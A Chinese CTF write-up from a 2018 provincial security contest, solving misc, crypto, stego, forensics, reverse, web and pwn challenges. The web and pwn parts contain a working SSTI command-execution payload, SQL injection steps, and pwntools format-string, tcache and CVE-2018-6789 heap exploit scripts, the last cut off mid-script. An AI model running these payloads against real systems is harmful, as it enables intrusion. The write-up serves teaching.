Misc – 3
1.Crack it
题目描述
破解该文件,获得密码,flag格式为:flag{*******}
考点
shadow文件破解
解题过程
kali下,无需加载字典,john直接破解即可。
2.进制转换
题目描述
二进制、八进制、十进制、十六进制,你能分的清吗?
考点
编程基础、进制转换
解题过程
import binascii text = "d87 x65 x6c x63 o157 d109 o145 b100000 d116 b1101111 o40 x6b b1100101 b1101100 o141 d105 x62 d101 b1101001 d46 o40 d71 x69 d118 x65 x20 b1111001 o157 b1110101 d32 o141 d32 d102 o154 x61 x67 b100000 o141 d115 b100000 b1100001 d32 x67 o151 x66 d116 b101110 b100000 d32 d102 d108 d97 o147 d123 x31 b1100101 b110100 d98 d102 b111000 d49 b1100001 d54 b110011 x39 o64 o144 o145 d53 x61 b1100010 b1100011 o60 d48 o65 b1100001 x63 b110110 d101 o63 b111001 d97 d51 o70 d55 b1100010 d125 x20 b101110 x20 b1001000 d97 d118 o145 x20 d97 o40 d103 d111 d111 x64 d32 o164 b1101001 x6d o145 x7e" solution = '' text2 = text.split(' ') for x in text2: print x if x[0] == 'b': #binary solution += chr(int(x[1:],2)) elif x[0] == 'x': # hexadecimal solution += x[1:].decode("hex") elif x[0] == 'd': # decimal solution += chr(int(x[1:])) elif x[0] == 'o': # octal solution += chr(int(x[1:],8)) print solution
3.basic
题目描述
黑,白,黑白,黑黑白白。
考点
python像素点写图片
解题过程
from PIL import Image x = 150 y = 900 im = Image.new("RGB", (x, y)) file = open('basic.txt') for i in range(0, x): for j in range(0, y): line = file.readline().replace('(','').replace(')','') rgb = line.split(",") im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) im.show()
Crypto – 3
1.affine
题目描述
y = 17*x-8 flag{szzyfimhyzd}
答案格式:flag{********}
考点
仿射加密
解题过程
仿射加密,直接解密即可。
2.rsa
题目描述
请破解密文
考点
rsa wiener attack
解题过程
ne已经给出,可以看出e特别大,在e特别大的情况下,可以使用wiener attack的方法进行破解,正好工具RsaCtfTool集成了wiener attack的方法,所以可以直接使用RsaCtfTool计算私钥, 如下所示:
使用pqe直接解密密文,得到flag,代码如下所示:
#coding:utf-8 from libnum import n2s,s2nimport base64 def gcd(a, b): #求最大公约数 if a < b: a, b = b, a while b != 0: temp = a % b a = b b = temp return a def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % mif __name__ == "__main__": p=15991846970993213322072626901560749932686325766403404864023341810735319249066370916090640926219079368845510444031400322229147771682961132420481897362843199 q=28805791771260259486856902729020438686670354441296247148207862836064657849735343618207098163901787287368569768472521344635567334299356760080507454640207003 e = 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409532373187125318554614722599301791528916212839368121066035541008808261534500586023652767712271625785204280964688004680328300124849680477105302519377370092578107827116821391826210972320377614967547827619 # tmp = base64.b64decode("qzogS7X8M3ZOpkUhJJcbukaRduLyqHAPblmabaYSm9iatuulrHcEpBmil7V40N7gbsQXwYx5EBH5r5V2HRcEIOXjgfk5vpGLjPVxBLyXh2DajHPX6KvbFpQ8jNpCQbUNq8Hst00yDSO/6ri9dk6bk7+uyuN0b2K1bNG5St6sCQ4qYEA3xJbsHFvMqtvUdhMiqO7tNCUVTKZdN7iFvSJqK2IHosIf7FqO24zkHZpHi31sYU7pcgYEaGkVaKs8pjq6nbnffr4URfoexZHeQtq5UAkr95zD6WgvGcxaTDKafFntboX9GR9VUZnHePiio7nJ3msfue5rkIbISjmGCAlj+w==") # = d = modinv(e, (p - 1) * (q - 1)) # c=s2n(tmp) c = 38230991316229399651823567590692301060044620412191737764632384680546256228451518238842965221394711848337832459443844446889468362154188214840736744657885858943810177675871991111466653158257191139605699916347308294995664530280816850482740530602254559123759121106338359220242637775919026933563326069449424391192 #c = 225031483444634056931067907865853799650197225351377050632290334721073031287701730297815850654473721939907812470206115171738967740183098960272963323728747481560137205796840356532306950935686580268408289864109695494835661414073083573249882362332920722000099781994315336570711188934565379141406727420346806389405536474102730682155998263607095718543239272202402139286809779368710600842078606046563228470023546348908618719147790859257980882643030144242048154566691808688844513142261099020381730517293884263384819159874220288293023868919557980548807831273449743064237407705987056818011286315950476959812697067649075359373253 n = p*q m=pow(c,d,n) print n2s(m)
3.神秘的代码
题目描述
xor
考点
xor+aes_ecb
本题出的有些脑洞,已暴打出题人…
解题过程
将明文与密文进行异或,得到一段hint,如下所示:
i am a hydre agenT, coverly spying on the superHeroes. I am aware of the group that iS going to aTtack you…but Hydra has had its diffErences with you in the past, so i’m not going to maKe it vEry simple for You ….ecb…aes(I Vouch for this: 12345)…md5(this)…base64…
这里将大写字母提取出来,是THISTHEKEYIV
,后面又提示是aes_ecb,所以这里有一个坑点,这个大写字母的组合并不是aes算法的key,所以也不能用来解密,然后后面又提示是md5(this),即将整段话进行md5,然后进行解密,最后的代码如下:
import base64 import hashlib from Crypto.Cipher import AES def readfile(path): with open(path, 'r') as f: return f.read() def xor(s1, s2): return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) # read the files clear = readfile('info_clear.txt') crypt = readfile('info_crypt.txt') superhero = readfile('true_crypto.txt') superhero = base64.b64decode(superhero) # get the key dec = xor(clear,crypt).rstrip('\n').encode('utf-8') print(dec) key = hashlib.md5(dec).hexdigest().encode() print(key) # decrypt aes-ecbcipher = AES.new(key, AES.MODE_ECB) msg = cipher.decrypt(superhero) print(msg)
Stego – 3
1.啊哒
题目描述
有趣的表情包
考点
exif、隐藏压缩包
解题过程
拿到之后是一个jpg文件,先使用binwalk分析下文件,得到图片中隐藏了一段tiff信息以及一个压缩包,都分离出来,发现压缩包被加密了,tiff信息在相机型号出处有一段十六进制,转换成字符串以后是sdnisc_2018,如下图所示:
使用这个密码解密压缩包,即可获得flag
2.color
题目描述
你见过彩虹吗?
考点
拉长图片,二进制转字符串。
解题过程
查看每张图片的最低位,发现有变化。组成之后是一句话:
Make Me Tall
根据提示意思应该是要调整png的尺寸,扩大高度。
发现原来图像下部,有黑白块儿,按照黑->1
,白->0
转化成二进制数。
1111111101011110111111111011111110111111 00001100101010110001 01001010010000001101 11010011011101010111 1001101101101011011000111001101101111101
经过多次尝试之后发现,每一列,七个数字组成一个字符,进行二进制转化之后即可得到flag。
#coding:utf-8 def encode(s): return ' '.join([bin(ord(c)).replace('0b', '') for c in s]) def decode(s): return ''.join([chr(i) for i in [int(b, 2) for b in s.split(' ')]]) l = [''] * 7 f = open('code.txt', 'r') # 01矩阵 for i in range(7): j = 0 line = f.readline().replace('\n','') l[i] = line # print l ## 矩阵初始化 ll=[''] * 20 for i in range(len(ll)): ll[i]=[''] * 7 ## 矩阵翻转 for i in range(20): for j in range(7): ll[i][j] = l[j][i] # print ll flag = '' for i in ll: t = ''.join(i) flag += decode(t) print flag
3.神秘的文件
题目描述
考点
明文破解 + doc隐写
解题过程
将题目解压出来,题目压缩包里有个logo.png和一个加密压缩包,很明显的明文破解,使用题目压缩包作为key和writeup压缩包进行明文破解(或者使用2345好压的标准压缩算法压缩logo.png),得到密码:
解压后得到doc文件,当成压缩包解密,能找到flag.txt中有一串base64编码的字符串,解码即可。
Forensic – 5
1.特殊后门
题目描述
从通信方式的角度看,后门可分为http/https型、irc型、dns型、icmp型等等。安全人员抓到一份可疑的流量包,请从中分析出利用某种特殊协议传输的数据。
考点
携带数据的ICMP包分析
解题过程
使用科来分析工具进行全面分析,可以看到数据包数量不多,使用协议浏览器查看流量包:
逐个查看特殊协议,可以发现ICMP协议数据包中的数据:
依次查看ICMP包,拼接即可得到flag。
flag
flag{Icmp_backdoor_can_transfer-some_infomation}
2. weblogic
题目描述
黑客攻击了Weblogic应用,请分析攻击过程,找出Weblogic的主机名。flag格式:flag{}
Tip:主机名为十六进制。
考点
weblogic 攻击流量审计。模拟了爆破weblogic登录密码,通过部署war包getshell,执行命令获取hostname的操作。
解题过程
使用科来分析工具打开流量包,在数据包选项中,Ctrl+F搜索字符串hostname
,可以找到编号为658、662的数据包当中存在hostname
关键词。
其中编号662数据原地址为服务端,是http的Response包。右键解码数据包,可以很直观的看到服务端返回的内容:
3. 日志审计
sqlmap盲注日志审计。
题目描述
请从流量当中分析出flag。
考点
本题考查根据日志,还原sqlmap采用二分法注入获得的数据。
解题过程
题目是sqlmap采用二分法进行注入的日志,办法很多,可以手撕,可以根据特征进行分析。
这里举例说一种。如果对Apache日志熟悉的话,应该知道,access.log里面会记录Response的状态码和Response包的长度。猜解正确或错误,返回的长度是不同的。
urldecode解码几条记录:
id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>96 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>112 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>120 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>124 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 200 1765 id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>126 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476 id=2' AND ORD(MID((SELECT IFNULL(CAST(flag AS CHAR),0x20) FROM dvwa.flag_is_here ORDER BY flag LIMIT 0,1),24,1))>125 AND 'RCKM'='RCKM&Submit=Submit HTTP/1.1" 404 5476
以猜解的第24位为例,猜解正确的时候,返回的状态码为200,长度为1765;猜解错误的状态码为404,长度为5476。而且可以得出结论,sqlmap采用二分法进行注入的时候,正确的值为最后一次进行>比较正确的值+1
,即为125。
简单写个脚本,匹配一下即可。
# coding:utf-8 import re import urllib f = open('access.log','r') lines = f.readlines() datas = []for line in lines: t = urllib.unquote(line) if '1765' in t and 'flag' in t: # 过滤出与flag相关,正确的猜解 datas.append(t) flag_ascii = {} for data in datas: matchObj = re.search( r'LIMIT 0,1\),(.*?),1\)\)>(.*?) AND', data) if matchObj: key = int(matchObj.group(1)) value = int(matchObj.group(2))+1 flag_ascii[key] = value # 使用字典,保存最后一次猜解正确的ascii码 flag = '' for value in flag_ascii.values(): flag += chr(value) print flag
4.安卓木马分析
题目描述
在某次安全检查中,工作人员在受害者手机中提取到了两个apk文件,其中有一个是木马,请找到木马文件,并分析出该木马的C&C通信服务器域名。flag的提交方式为:flag{域名},如你分析出的结果是http://www.baidu.com ,那么flag就是flag{www.baidu.com}
考点
安卓木马分析+异或解密
解题过程
通过权限分析与常识判断,木马文件为apk_1.apk,使用jeb打开该文件,搜索geturl。
发现改木马将C&C服务器IP地址加密于logo.png文件中:
用editplus打开logo.png发现并非明文,应该是采用了某种加密。
向上查看代码,发现使用的加密方式为异或加密,加密因子如下:
编写如下解密脚本:
#coding:utf-8 import sys def decrypt2url(decryptedfile): f = file(decryptedfile, "r") buf = f.read() bs = map(ord, buf) # 将字节流存储为10进制的list sizz = len(bs) for i in range(0, sizz, 2): # 将后面的字与前面的字交换存储 if i >= sizz / 2 : break d = bs[i] bs[i] = bs[sizz - 1 - i] bs[sizz - 1 - i] = d ss = ''.join(map(chr, bs)) # 将字节流转成字符串 bs2 = ss.split(',') bss = list(bs2) sout = '' for i in range(0, len(bss), 2): sout = sout + chr(int(bss[i])) print( "[+] C&C: ", sout) def main(filename): PASS = ''.join(chr(x) for x in [9, 5, 9, 8, 5]) # 解密的原子 infile = file(filename, "rb") outfile = file(filename[:-4]+".txt", "wb") i = 0 while 1: c = infile.read(1) if not c: break j = i % 5 d = PASS[j] c = chr(ord(c) ^ ord(d)) i = i + 1 outfile.write(c) outfile.close() infile.close() decrypt2url(filename[:-4]+".txt") if __name__ == '__main__': main(sys.argv[1])
运行解密代码python decrypt_url.py logo.png 得到C&C服务器地址:http://www.fineandroid.com/
flag
flag{www.fineandroid.com}
5.PC木马分析
题目描述
安全分析人员在一次取证中,提取到一枚木马,但是他在虚拟机沙箱中运行该木马样本时并没有抓到这个木马的C&C服务器,你能帮他分析出这个木马的C&C通信服务器IP和端口么?flag提交方式flag{IP:端口},如IP为127.0.0.1,端口为8080,那么flag为:flag{127.0.0.1:8080}
考点
反虚拟机、反调试、睡眠延时绕过,进程检测,脱壳。
解题过程
使用OD调式查看,发现木马本身做了简单的反VM虚拟机、反调试、进程检测以及超长Sleep延迟,且样本代码做了混淆,直接使用常规静态规则检测与动态沙箱检测,无法获取外连行为。
源码注解如下:
使用RH查看资源,发现有内嵌exe,猜测exe为内嵌模块。
提出为dump.exe:
在虚拟机中调试执行,使用火绒剑检测行为
自删除,执行隐藏,连接网络控制服务器
flag
flag{56.45.123.21:55233}
Mobile – 3
1.signin
题目描述
君远至此,辛苦至甚。
窃谓欲状,亦合依例,并赐此题。
(来吧,签个到热个身。)
考点
反编译、资源文件等基础知识
解题过程
反编译后打开 MainActivity
,可以发现关键方法 checkPassword
,该方法取内置字符串反转后进行 Base64
解码,将结果与输入内容比较,相等则通过验证。
根据上述分析,需要获得 getFlag
方法的返回值,查看上图中 getFlag
方法的反编译代码,可以看出该方法在资源中获取到字符串后作为返回值返回,故直接去资源文件中查找对应的字符串进行上述运算后即可得到此题Flag。
2.fake-func
题目描述
真亦是假,假亦是真
考点
Android native
解题过程
so逆向分析,算法分析。程序中加载了一个so check字符串,init_array中对strcmp函数做了hook,在check函数中比较字符串的时候会进入被hook的strcmp然后做一个aes的运算,aes的密钥是动态的base64。
jadx先打开看MainActivity
public class MainActivity extends AppCompatActivity { protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView((int) R.layout.activity_main); ((Button) findViewById(R.id.button)).setOnClickListener(new OnClickListener() { public void onClick(View v) { if (Check.checkflag(((EditText) MainActivity.this.findViewById(R.id.editText)).getText().toString())) { Toast.makeText(MainActivity.this, "you are right~!", 1).show(); } else { Toast.makeText(MainActivity.this, "wrong!", 1).show(); } } }); } }
调用了so中的Check.checkflag函数校验flag,定位到so中的函数
signed int __fastcall Java_com_testjava_jack_fakefunc_Check_checkflag(int a1) { signed int v1; // r4 const char *v2; // r5 v1 = 0; v2 = (const char *)(*(int (**)(void))(*(_DWORD *)a1 + 676))(); j_getKey(); _android_log_print(4, "INJECT", "asdasd"); if ( !strcmp(v2, "this_is_easy_so") ) v1 = 1; return v1; }
发现是与一个固定的字符串对比
但是尝试一下程序中提交this_is_easy_so
并不对,查看导出表信息,发现存在init_arrary里面对strcmp进行了Inline hook,定位到fake function。发现是aes,key就是动态解密的固定base64字符串。解密得到flag。
本题关键在定位到init_arrary中的函数。另外可以看到符号中有inline hook之类的函数。这题应该再把这几个符号也去掉。
flag
flag{fake_func_3nfxvs}
3.MagicImageViewer
题目描述
刚写完”高强度”加密代码,就被开除了。
是不是因为我没写注释?
考点
- Android native
- 算法漏洞分析
解题过程
程序首先判断输入内容的长度是否为 16,相等的话将输入内容传入
getKey
方法中,这里将返回内容记为key
,之后将key
传入readMagicImage
中解密图片。
继续分析 readMagicImage
。
可以看出该方法逐字节处理文件内容,key
中的字符循环使用作为参数传入 decrypt
方法中获取解密结果。
至此 java 层代码分析完毕,可以得知输入长度为 16,key
由输入内容进行某种变换得来,关键方法为 getKey
和 decrypt
。接下来分析 native 层方法,按顺序从 getKey
开始。
getKey
方法将输入内容与固定字符串 Welcome_to_sdnisc_2018_By.Zero
相同位置上的字符进行异或运算,循环完成后得到变换后的 key
。
接下来继续看 decrypt
方法。
从上图中可以看出 decrypt
方法十分简洁,解密算法只涉及减法
和异或
。
整理上述过程中得到的信息,重要的 key
未知,无法解密图片,但是回顾整个算法流程,结合异或
运算的特性,如果有加密前的图片文件内容,就可以还原出 key
,那问题来了,这个加密前的内容从哪来呢?
从细节出发。
通过反编译代码中的文件名 encrypt_png.dat
或者后期给的 hint
中都可以得知一个相同的信息,dat 文件是由 png 格式加密得来的。
每种文件格式都有固定的文件结构,通过最开始的分析已经知道输入长度为 16,而这个长度正好在 png 文件格式 File header + header chunk
的范围内,也就是说加密前的内容现在已经知道了,直接脚本走起。
Reverse – 3
1. file
题目描述
出题人有个不好的习惯,总喜欢清除回收站,这次在出题的过程中又把文件给删了,你能帮他还原回来吗?
flag无标准格式,提交答案请加上flag{}
考点
解题过程
elf文件,拖入IDA反编译,分析算法,如下图:
其中sttr_home
、flllag
变量数组的固定值,均可在IDA中找到。
那么该题的算法就很简单了k ^ input[k] ^ v11[k]
,v11数组是sttr_home
变量数组中的16进制转化为10进制,使用python很容易实现转换。
这里说一下为什么,最后输出了16进制,因为题目描述里说让大家帮出题人找丢失的文件,程序中也提到,flag是文件的MD5值,所以我们的python脚本,不是直接就可以跑出来flag的,需要跑出来16进制然后写入文件,得到文件的MD5值作为flag进行提交。
这里也是一个坑点,有些选手看到跑出来了不可见字符,就怀疑算法的正确性。
解题脚本如下:
strs = [0x66,0x4e,0x6,0x22,0x66,0x25,0x42,0x5d,0x56,0x2e,0x76,0x6e,0x4,0x2d,0x42,0x2c,0x7,0x2c,0x45,0x69,0x2d,0x12,0x5c,0x7e,0x65,0x52,0x60,0x69,0x54,0x64,0x66,0x43] strss = "flag{hello_player_come_on_hahah}" for i in range(len(strs)): print hex(strs[i] ^ ord(strss[i]) ^ i),
flag
flag{914a7b9df69eab5b74b9edb7070e53e8}
2.not only smc
题目描述
所见非所得
考点
解题过程
主程序直接跑shellcode,shellcode里面执行校验,取用户输入的一部分对校验函数解密。穿插了一些花指令,没好意思上vm,最外层只加了一个upx,shellcode里面对upx进行了检测,脱壳之后是不能运行的,直接od里面动态分析,断VirtualAlloc,定位到shellcode smc解密,shellcode部分简单的0x25异或自解密,解密出来在0x10001000处是主要的代码段,取输入的第8位后面的5位来解密校验函数
10002DA8 /EB 0F jmp short 10002DB9 10002DAA |8B8D 1CFFFFFF mov ecx,dword ptr ss:[ebp-0xE4] 10002DB0 |83C1 01 add ecx,0x1 10002DB3 |898D 1CFFFFFF mov dword ptr ss:[ebp-0xE4],ecx 10002DB9 \8B95 1CFFFFFF mov edx,dword ptr ss:[ebp-0xE4] 10002DBF 3B55 E4 cmp edx,dword ptr ss:[ebp-0x1C] 10002DC2 73 2E jnb short 10002DF2 10002DC4 8B45 FC mov eax,dword ptr ss:[ebp-0x4] 10002DC7 0385 1CFFFFFF add eax,dword ptr ss:[ebp-0xE4] 10002DCD 0FB608 movzx ecx,byte ptr ds:[eax] 10002DD0 8B85 1CFFFFFF mov eax,dword ptr ss:[ebp-0xE4] 10002DD6 99 cdq10002DD7 BE 05000000 mov esi,0x5 10002DDC F7FE idiv esi 10002DDE 0FBE5415 D8 movsx edx,byte ptr ss:[ebp+edx-0x28] 10002DE3 33CA xor ecx,edx 10002DE5 8B45 FC mov eax,dword ptr ss:[ebp-0x4] 10002DE8 0385 1CFFFFFF add eax,dword ptr ss:[ebp-0xE4] 10002DEE 8808 mov byte ptr ds:[eax],cl
由于vc下面stdcall的函数头基本固定,可猜出解密函数的key为:jUnk_
解密出这个函数来要分析这个函数,中间穿插了些花指令,带着分析麻烦的话就写脚本去除,特征还是比较明显的。最终得到解密代码如下:
void dec_xor2(BYTE *szInput, int nCount){ if ( nCount == 0 ) return ; for (int i = 0; i < nCount; ++i ) szInput[nCount + i] ^= szInput[i]; dec_xor2(szInput, nCount >> 1); } void dec_xor1(BYTE *szInput, int nCount){ dec_xor2(szInput, 16); if (nCount) { dec_xor1(szInput,nCount-1); } else return; } void MakeArray(int nBase,BYTE *pbData,DWORD dwSize){ nBase = nBase*2+10; BYTE bArray[50] = {0}; for (int i=0;i<50;i++) { bArray[i] = (nBase*(i+10)-9)%256; } int nCount = 0; for(DWORD dw =0;dw<dwSize;dw++) { if (nCount == 50) { nCount=0; } pbData[dw]^=bArray[nCount]; nCount++; } } BYTE bCmp[] = { 0xE8,0x90,0x24,0xE6,0x0A,0xE3,0xF7,0xA8,0x09,0xC0,0x35,0x74,0x26,0x4D,0xA0,0x2D, 0xD6,0x1A,0x5A,0x5C,0x16,0x2D,0xF0,0x46,0x44,0x10,0x5F,0x83,0x5B,0xBE,0x86,0xAC, }; dec_xor1((PBYTE)bCmp,64); MakeArray(56,(PBYTE)bCmp,sizeof(bCmp));
得到flag:SMc_AnD_jUnk_C0de_1s_s0_fuunn~!
本题需要带壳分析,不要去脱壳,或者dump shellcode里面打包的dll,修复下pe头即可。然后分析dll,dll里面的花指令去掉会明朗很多。
3.babyLoginPlus
题目描述
babyLogin 新品发布会。『babyLogin Plus』哪一面,都是亮(汇)点(编)。
考点
逆向分析
解题过程
此题为简易VM,只需关注运算操作相关的指令处理方法。
通过动态调试,能够发现算法很短,记录下第一个字符的处理方法调用顺序就可以确定算法流程,对密文进行逆运算即可得到此题 Flag。
由于篇幅问题无法在此做详细介绍,如有疑问可加入 第七届山东省网络安全大赛(415964984) QQ群,群内咨询管理员。
Web
web1 – babyweb
题目描述
复现地址:http://47.105.148.65:29001
考点
http伪造IP,篡改cookie
解题过程
签到Web题。
web2 – babyweb2
题目描述
复现地址:http://47.105.148.65:29002
考点
变量覆盖 + php弱类型 + 条件竞争
解题过程
第一步:http://47.105.148.65:29001/index.php?id=key[99]=QNKCDZO
第二步:最简单的方法,burp Intruder开两个任务,一个上传,一个访问即可。
web3 – easy_flask
题目描述
复现地址:http://47.105.148.65:29003
考点
SQLi + SSTI
解题过程
题目提供了Add a Comment和Search Comment两个功能
首先尝试SSTI。提交如下内容:
搜索用户名,得到结果:
存在ssti,但是Add a Comment中username和comment两个参数限制了字符长度,最多提交10个字符,没法正常运用ssti。
测试search功能,username参数存在sql注入
有两个思路可以继续做。
思路一:将ssti的payload进行切片,存入数据库,然后使用注入语句进行拼接,触发ssti。
思路二:使用union select
,将ssti的payload直接显示,触发ssti。
payload:username=jzxt' union select 1,2,"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -
Pwn
Pwn1 – repeater
题目描述
复现地址:nc 47.105.148.65 9999
考点
格式化字符串
解题过程
此题为简单的格式化字符串漏洞,首先总览分析一下程序,循环受 totalcount
次数限制,初始值为 1。
程序提供了 getFlag
方法,但是需要变量 number
为 0x2018
才会执行命令。
接下来思路就很清晰了,首先改写 totalcount
变量,使得循环执行更多次。
payload = fmtstr_payload(4,{0x0804A064:0x3}) p.sendline(payload)
然后改写 number
为 0x2018
。
payload = fmtstr_payload(4,{0x0804A060:0x2018}) p.sendline(payload)
最后调用 getFlag
方法获取 Flag。
payload = fmtstr_payload(4,{0x804a01c:0x08048616}) p.sendline(payload)
PS:Writeup的flag与比赛当时不同。
Pwn2 – bb_tcache
题目描述
复现地址:nc 47.105.148.65 8888
考点
堆的利用。
解题过程
程序提供了 system
地址,可计算出 libc 的地址,利用 __malloc_hook
完成此题。
解题脚本:
#!/usr/bin/env python2 # coding: utf-8 # Usage: ./exploit.py -r/-l/-d from pwn import * import argparse import itertools IP = "10.10.55.153" PORT = 30059 context.arch = "amd64" context.log_level = 'DEBUG' context.terminal = ['tmux', 'splitw', '-h'] BIN = "./ez_heap" def r(x): return io.recv(x) def ru(x): return io.recvuntil(x) def rud(x): return io.recvuntil(x, drop=True) def se(x): return io.send(x) def sel(x): return io.sendline(x) def pick32(x): return u32(x[:4].ljust(4, '\0')) def pick64(x): return u64(x[:8].ljust(8, '\0')) parser = argparse.ArgumentParser() parser.add_argument('-d', '--debugger', action='store_true') parser.add_argument('-r', '--remote', action='store_true') parser.add_argument('-l', '--local', action='store_true') args = parser.parse_args() io = None # this is global process variable binary = ELF(BIN) if args.remote: context.noptrace = True io = remote(IP, PORT) libc = ELF("libc-2.27.so") elif args.local or args.debugger: env = {"LD_PRELOAD": os.path.join(os.getcwd(), "libc-2.27.so")} # env = {} io = process(BIN, env=env) print io.libs() proc_base = io.libs()[ "/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/ez_heap"] libc_bb = io.libs()[ '/home/vagrant/cyberpeace/ADWorld/isc_quals/Jeopardy/pwn/ez_heap/source/libc-2.27.so'] # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") libc = ELF("./libc-2.27.so") else: parser.print_help() exit() def malloc_heap(): rud("4. quit!") sel(str(1)) def free_heap(): rud("4. quit!") sel(str(2)) def write_heap(payload): rud("4. quit!") sel(str(3)) rud("You might need this to tamper something.") if len(payload) > 8: log.critical("May be your PAYLOAD too long!!!!!!") se(payload) if args.debugger: gdb.attach(io, ''' b *0x{:x} c '''.format( libc_bb + 0x45254, # one gadget ) ) ru("I think you might need this: ") system_addr = int(rud("\n").strip(), 16) libc.address = system_addr - libc.symbols["system"] log.critical("libc.address: 0x%x" % libc.address) new_malloc_hook = libc.symbols["__malloc_hook"] # - 0x20 + 0x5 - 0x8 log.critical("new_malloc_hook address for fastbin attack: 0x%x" % new_malloc_hook) malloc_heap() free_heap() write_heap(p64(new_malloc_hook)) malloc_heap() malloc_heap() one_gg = 0x10a38c + libc.address log.critical("one gadget address: 0x%x" % one_gg) one_gg = p64(one_gg) content = one_gg write_heap(content) malloc_heap() io.interactive()
Pwn3 – notepad
题目描述
复现地址:nc 47.105.148.65 7777
考点
cve-2018-6789, 堆溢出
解题过程
本题需要结合主要考察cve-2018-6789漏洞利用,题目逻辑中用到了存在漏洞的base64编码来进行密码校验,因此可以实现单字节溢出,可以覆盖堆块的size,实现extend chunk。
解题脚本:
from zio import * is_local = True #is_local = False binary_path = "./notepad" libc_file_path = "" #libc_file_path = "./libc.so.6" ip = "" port = 0 if is_local: target = binary_path else: target = (ip, port) def d2v_x64(data): return l64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return l32(data[:4].ljust(4, '\x00')) def rd_wr_str(io, info, buff): io.read_until(info) io.write(buff) def rd_wr_int(io, info, val): rd_wr_str(io, info, str(val) + "\n") def get_io(target): r_m = COLORED(RAW, "green") w_m = COLORED(RAW, "blue") #r_m = False #w_m = False #io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m) io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m, env={"LD_PRELOAD":libc_file_path}) return io from threading import Thread def interact(io): def recv_func(): while True: try: output = io.read_until_timeout(timeout = 1) except: return recv_thread = Thread(target = recv_func) recv_thread.start() while True: send_data = raw_input() if send_data != '': io.writeline(send_data) def menu_choice(io, choice, prompt = "choice> "): rd_wr_int(io, prompt, choice) def add_record(io, name, passwd, content_size, content): menu_choice(io, 1) rd_wr_str(io, "> ", name) rd_wr_int(io, "> ", 1) rd_wr_str(io, "> ", passwd) rd_wr_int(io, "> ", content_size) rd_wr_str(io, "> ", content) def show_record(io, name, passwd): menu_choice(io, 2) rd_wr_str(io, "> ", name) rd_wr_str(io, "> ", passwd) def edit_record(io, name, passwd, content_size, content): menu_choice(io, 3) rd_wr_str(io, "> ", name) rd_wr_str(io, "> ", passwd) rd_wr_int(io, "> ", 0) if (content_size != -1): rd_wr_int(io, "> ", content_size) rd_wr_str(io, "> ", content) def delete_record(io, name, passwd): menu_choice(io, 4) rd_wr_str(io, "> ", name) rd_wr_str(io, "> ", passwd)def pwn(io): #offset info if is_local: #local offset_system = 0x0 offset_binsh = 0x0 else: #remote offset_system = 0x0 offset_binsh = 0x0 passwd = "deadbeef".encode("base64") + "\x00" add_record(io, "0"*0x10, passwd + "\n", 0x20-1, "test0\n"); add_record(io, "1"*0x10, passwd + "\n", 0x210-1, "test1\n"); add_record(io, "2"*0x10, passwd + "\n", 0x20-1, "test2\n"); add_record(io, "3"*0x10, passwd + "\n", 0x20-1, "test2\n"); add_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n"); #edit_record(io, "4"*0x10, passwd + "\n", 0x20-1, "test2\n"); #io.gdb_hint() delete_record(io, "1"*0x10, passwd + "\n") #io.gdb_hint() add_record(io, "1"*0x10, passwd + "\n", 0xb0-1, "test1\n"); #io.gdb_hint() #edit_record(io, "1"*0x10, passwd + "\n", 0x80, "a"*0x10 + "\n") edit_record(io, "2"*0x10, passwd + "\n", 0x58-1, "b"*0x10 + "\n") #io.gdb_hint() edit_record(io, "3"*0x10, passwd + "\n", 0xf8-1, "c"*0x10 + "\n") #io.gdb_hint() delete_record(io, "2"*0x10, passwd + "\n") #io.gdb_hint() #t_auth = "1"*((0x78-1)*4/3 + 1) + l8(0xff) + "\x00\n" target_len = 0x58 t_auth = "" t_auth += "@@@"*(target_len/3) t_auth += "@"*(target_len%3) + '\x31' t_auth = t_auth.encode("base64").replace("\n", "") t_auth = t_auth[:-1] + "\x00\n" #io.gdb_hint() add_record(io, "2"*0x10, t_auth, 0x20-1, "padding\n") #io.gdb_hint() atoi_got = 0x0000000000602090 offset_atoi = 0x36e80 offset_system = 0x45390 full_addr = 0x4019DA #full payload = "" payload += 'a'*0x100 payload += '2'*0x10 payload += l64(full_addr) payload += l64(atoi_got) payload += l32(0x100) + l32(0x1)[:-1]# + "\n" #io.gdb_hint() edit_record(io, "3"*0x10, passwd + "\n", 0x128 - 1, payload) passwd_new = "full\x00".encode("base64") io.gdb_hint() show_record(io, "2"*0x10, passwd_new + "\n") data = io.read_until("\n")[:-1] atoi_addr = d2v_x64(data) print "atoi_addr:", hex(atoi_addr) io.gdb_hint() leak_addr = atoi_addr leak_offset = offset_atoi libc_base = leak_addr 